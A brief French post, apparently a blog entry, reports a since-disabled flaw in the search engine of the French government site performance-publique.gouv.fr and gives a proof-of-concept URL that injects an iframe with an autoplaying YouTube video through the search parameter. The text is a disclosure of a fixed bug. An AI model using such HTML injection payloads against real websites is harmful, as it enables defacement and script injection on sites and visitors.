Il y avait une faille sur le moteur de recherche de performance-publique.gouv.fr.
Voici le poc:
Location: http://www.performance-publique.gouv.fr/index.php?rechercheRapide=%3Ciframe+width%3D100%25+height%3D400px+src%3Dhttp%3A%2F%2Fwww.youtube.com%2Fv%2F3J66hf0M6rk%26fs%3D1%26autoplay%3D1%3E%3C%2Fiframe%3E&id=982');


Cette faille à été désactivée sur le site de la "performance publique" du gouvernement. Voilà une bonne chose de faite ^^.